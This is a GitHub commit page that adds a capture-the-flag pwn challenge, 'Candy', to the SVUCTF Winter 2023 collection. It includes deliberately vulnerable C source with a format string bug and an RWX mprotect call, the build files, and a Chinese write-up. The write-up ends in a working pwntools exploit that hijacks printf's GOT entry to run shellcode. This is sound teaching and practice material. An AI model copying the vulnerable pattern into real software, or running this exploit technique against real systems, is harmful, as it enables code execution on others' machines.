Skip to content

Commit

Permalink
🔀 Merge pull request #49 from SVUCTF/pwn/Candy
Browse files Browse the repository at this point in the history
[Pwn]Candy
  • Loading branch information
13m0n4de authored Dec 22, 2023
2 parents b4170e1 + 5118753 commit ddc3629
Show file tree
Hide file tree
Showing 8 changed files with 430 additions and 0 deletions.
79 changes: 79 additions & 0 deletions .github/workflows/pwn.Candy.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
name: Challenge candy

on:
push:
branches: ["main"]
paths:
- "!**/README.md"
- "challenges/pwn/Candy/build/**"
workflow_dispatch:

env:
TYPE: pwn
NAME: candy
REGISTRY: ghcr.io

jobs:
challenge-build:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write

steps:
- name: Checkout repository
uses: actions/checkout@v3

- name: Log in to the Container registry
uses: docker/login-action@v2
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v4
with:
images: ${{ env.REGISTRY }}/${{ github.repository }}/${{ env.NAME }}
tags: |
latest
- name: Build and push Docker image
uses: docker/build-push-action@v4
with:
context: challenges/${{ env.TYPE }}/${{ env.NAME }}/build
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
push: true

- name: Copy compiled files back to repository
run: |
mkdir -p attachments
docker create --name temp-container ${{ steps.meta.outputs.tags }}
docker cp temp-container:/home/ctf/Candy ./attachments/
docker rm temp-container
working-directory: challenges/${{ env.TYPE }}/${{ env.NAME }}/

- name: Commit compiled file
run: |
git config --local user.email "145646018+github-actions[bot]@users.noreply.github.com"
git config --local user.name "github-actions[bot]"
git add challenges/${{ env.TYPE }}/${{ env.NAME }}/attachments/Candy
git commit --allow-empty -m ":package: [Pwn]Candy Add compiled file"
- name: Pull changes
run: |
git pull --rebase
- name: Push changes
uses: ad-m/github-push-action@master
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
branch: ${{ github.ref }}
- name: Re-pull on failure
if: ${{ failure() }}
run: git pull --rebase
- name: Re-push on failure
if: ${{ failure() }}
uses: ad-m/github-push-action@master
with:
force: true
github_token: ${{ secrets.GITHUB_TOKEN }}
branch: ${{ github.ref }}
190 changes: 190 additions & 0 deletions challenges/pwn/Candy/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
# Candy

- 作者:pn1fg
- 参考:-
- 难度:Baby/Trivial/Easy/Normal/Medium/Hard/Expert/Insane
- 分类:Pwn
- 镜像:[svuctf-winter-2023/candy](https://ghcr.io/svuctf/svuctf-winter-2023/candy)
- 端口:70

## 题目描述

## 题目解析

- 源码:[main.c](/build/main.c)
- 考点:格式化字符串,GOT 劫持,shellcode

格式化字符串函数是根据格式化字符串来进行解析的 。**那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制**。比如说'%s'表明我们会输出一个字符串参数。

![](writeup/images/printf.png)

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

```c
printf("Color %s, Number %d, Float %4.2f");
```
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 1.解析其地址对应的字符串
- 2.解析其内容对应的整形值
- 3.解析其内容对应的浮点值
这基本就是格式化字符串漏洞的基本原理了。
### 查看文件信息
查看文件类型(`file` 命令):
```shell
$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0059aa9c4a34393d23601ab109b1b940e1a6424e, for GNU/Linux 4.4.0, not stripped
```

这是一个64位 ELF 文件(`ELF 64-bit LSB executable`),动态链接(`dynamically linked`),没有去除符号(`not stripped`

检查文件保护机制(`checksec`命令):

```shell
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

### 分析漏洞成因

反编译 `main` 函数:

```c
ulong main(void)

{
sym.init();
sym.banner();
sym.vuln();
return 0;
}
```
反编译 `init` 函数:
```c
void sym.init(void)
{
sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.setvbuf(_reloc.stderr, 0, 2, 0);
sym.imp.mprotect(reloc.puts, 0x1000, 7);
return;
}
```

`mprotect` 函数原型

```c
int mprotect(const void *start, size_t len, int prot);
```
`mprotect()` 函数把自 start 开始的、长度为 len 的内存区的保护属性修改为 prot 指定的值。这里的 prot 为7,所以这一块内存区则**可读可写可执行**
反编译 `vuln` 函数:
```c
void sym.vuln(void)
{
ulong format;
ulong var_4h;
sym.imp.puts("Input your favorite candy:");
while( true ) {
sym.menu();
sym.imp.__isoc99_scanf(0x402423, &var_4h);
if (var_4h == 3) {
sym.imp.puts("There is no Unique Human Adventured");
return;
}
if (3 < var_4h) break;
if (var_4h == 1) {
sym.imp.read(0, obj.name, 0x100);
}
else {
if (var_4h != 2) break;
sym.imp.puts("There\'s a candy voucher in the flag!");
sym.imp.memset(&format, 0, 0x100);
sym.imp.read(0, &format, 0x100);
sym.imp.printf(&format);
}
}
sym.imp.puts("Don\'t you like all of them?");
return;
}
```

分析一下 `vuln` 函数的逻辑,最外层 `while` 循环,然后输入一个整形值,接下来 `if` 条件判断,当输入的值为 `1` 时,调用 `read` 函数向 `obj.name` 中读入 0x100 字符串,`obj.name` 位于`bss`段上,有可执行权限,当输入的值为 `2` 时,执行的分支语句为:

```c
sym.imp.puts("There\'s a candy voucher in the flag!");
sym.imp.memset(&format, 0, 0x100);
sym.imp.read(0, &format, 0x100);
sym.imp.printf(&format);
```

这里有很明显的格式化字符串漏洞,可以修改任意地址

这题我们的利用思路如下:

-`obj.name` 处填入 shellcode
- 利用格式化字符串漏洞劫持 GOT 表,修改 `printf` 处地址为 `obj.name` 地址即可执行 shellcode,获取 shell

### 编写利用程序

[exp.py](writeup/exp.py)

```python
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

if args['REMOTE']:
io = remote('IP',port)
else:
io = process("./candy")

elf = ELF("./candy")

def exec_fmt(pad):
io = process("./candy")
io.sendline(b"2")
io.send(pad)
info = io.recv()
io.close()
return info

fmt = FmtStr(exec_fmt)
offset = fmt.offset
print("offset ===> ", offset)

pad = fmtstr_payload(offset, {elf.got["printf"]: elf.sym["name"]})

io.sendlineafter(b"Command:", b"1")
io.send(asm(shellcraft.sh()))

io.sendlineafter(b"Command:", b"2")
io.sendlineafter(b"flag!\n", pad)

io.interactive()
```
35 changes: 35 additions & 0 deletions challenges/pwn/Candy/build/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
FROM ubuntu:22.04 AS builder

COPY main.c /main.c
RUN apt-get update && apt install gcc -y && \
gcc -o candy main.c -no-pie -fno-stack-protector

FROM ghcr.io/svuctf/base/xinetd:alpine

COPY init.sh /init.sh
COPY xinetd.conf /etc/xinetd.conf

RUN chmod +x /init.sh && \
chown -R ctf:ctf /home/ctf && \
chmod -R 750 /home/ctf && \
cp -R /lib* /home/ctf && \
mkdir /home/ctf/lib64 && \
mkdir /home/ctf/dev && \
mknod /home/ctf/dev/null c 1 3 && \
mknod /home/ctf/dev/zero c 1 5 && \
mknod /home/ctf/dev/random c 1 8 && \
mknod /home/ctf/dev/urandom c 1 9 && \
chmod 666 /home/ctf/dev/* && \
mkdir /home/ctf/bin && \
mkdir -p /home/ctf/lib/x86_64-linux-gnu/ && \
mkdir -p /home/ctf/lib32/ && \
cp /bin/sh /home/ctf/bin && \
cp /bin/ls /home/ctf/bin && \
cp /bin/cat /home/ctf/bin && \
cp /bin/base64 /home/ctf/bin

COPY --from=builder /lib/x86_64-linux-gnu/libc.so.6 /home/ctf/lib/x86_64-linux-gnu/
COPY --from=builder /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /home/ctf/lib64/
COPY --from=builder --chown=ctf:ctf --chmod=500 /candy /home/ctf/candy

CMD ["xinetd", "-dontfork"]
7 changes: 7 additions & 0 deletions challenges/pwn/Candy/build/init.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#!/bin/sh

echo $GZCTF_FLAG > /home/ctf/flag
chown -R ctf:ctf /home/ctf/flag
unset GZCTF_FLAG

/usr/sbin/chroot /home/ctf/ /candy
67 changes: 67 additions & 0 deletions challenges/pwn/Candy/build/main.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
char name[0x100];

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
mprotect((void *)0x00404000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}

void banner() {
puts("---------------------------------------------------\n"
"███████╗██╗ ██╗██╗ ██╗ ██████╗████████╗███████╗\n"
"██╔════╝██║ ██║██║ ██║██╔════╝╚══██╔══╝██╔════╝\n"
"███████╗██║ ██║██║ ██║██║ ██║ █████╗ \n"
"╚════██║╚██╗ ██╔╝██║ ██║██║ ██║ ██╔══╝ \n"
"███████║ ╚████╔╝ ╚██████╔╝╚██████╗ ██║ ██║ \n"
"╚══════╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ \n"
" \n"
" WELCOME TO SVUCTF WINTER 2023 \n"
"---------------------------------------------------");
}

void menu() {
puts("1. Fujiya\n"
"2. Huogai\n"
"3. Unique Human Adventured");
printf("Command:");
}

void vuln() {
int x;
char buf[0x100];

printf("Input your favorite candy:\n");
loop_start:
menu();
scanf("%d", &x);
switch (x) {
case 1:
read(0, name, 0x100);
goto loop_start;
case 2:
printf("There's a candy voucher in the flag!\n");
memset(buf, 0, 0x100);
read(0, buf, 0x100);
printf(buf);
goto loop_start;
case 3:
puts("There is no Unique Human Adventured");
break;
default:
printf("Don't you like all of them?\n");
break;
}
}

int main() {
init();
banner();
vuln();

return 0;
}
Loading

0 comments on commit ddc3629

Please sign in to comment.